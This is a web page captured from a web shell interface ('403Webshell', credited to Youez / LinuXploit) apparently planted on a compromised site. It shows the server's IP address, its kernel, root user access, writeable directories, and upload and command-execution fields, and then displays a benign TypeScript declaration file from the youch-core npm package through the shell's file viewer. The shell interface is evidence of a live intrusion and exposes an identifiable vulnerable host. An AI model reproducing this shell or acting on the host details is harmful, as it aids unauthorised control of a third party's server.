403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/youch-core/build/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/youch-core/build/src/parser.d.ts
import type { Parser, Transformer, ParsedError, SourceLoader, YouchParserOptions } from './types.js';
/**
 * ErrorParser exposes the API to parse an thrown value and extract
 * the frames along with their location from it.
 */
export declare class ErrorParser {
    #private;
    /**
     * FS source loader reads the file contents from the filesystem
     * for all non-native frames
     */
    static fsSourceLoader: SourceLoader;
    constructor(options?: YouchParserOptions);
    /**
     * Register a parser. Parsers are synchronous functions
     * that can be used to pre-process the source value
     * before it get parsed.
     *
     * @example
     * ```ts
     * sourceFile.useParser((source) => {
     *   if (valueCanBeParsed) {
     *     return newValue
     *   }
     *   return source
     * })
     * ```
     */
    useParser(parser: Parser): this;
    /**
     * Register a transformer. Transformers can be async functions
     * to post-process the parsed error value.
     *
     * @example
     * ```ts
     * sourceFile.useTransformer((error, source) => {
     *   // mutate "error" properties
     * })
     * ```
     */
    useTransformer(transformer: Transformer): this;
    /**
     * Define a custom source loader to load the contents of the
     * source file within the error stack.
     *
     * For example: You might want to register a custom source loader
     * that makes an fetch call to the server to read the source of
     * the file within the error stack.
     */
    defineSourceLoader(loader: SourceLoader): this;
    /**
     * Parse an unknown value into a parsed error object.
     */
    parse(source: unknown): Promise<ParsedError>;
}

Youez - 2016 - github.com/yon3zu
LinuXploit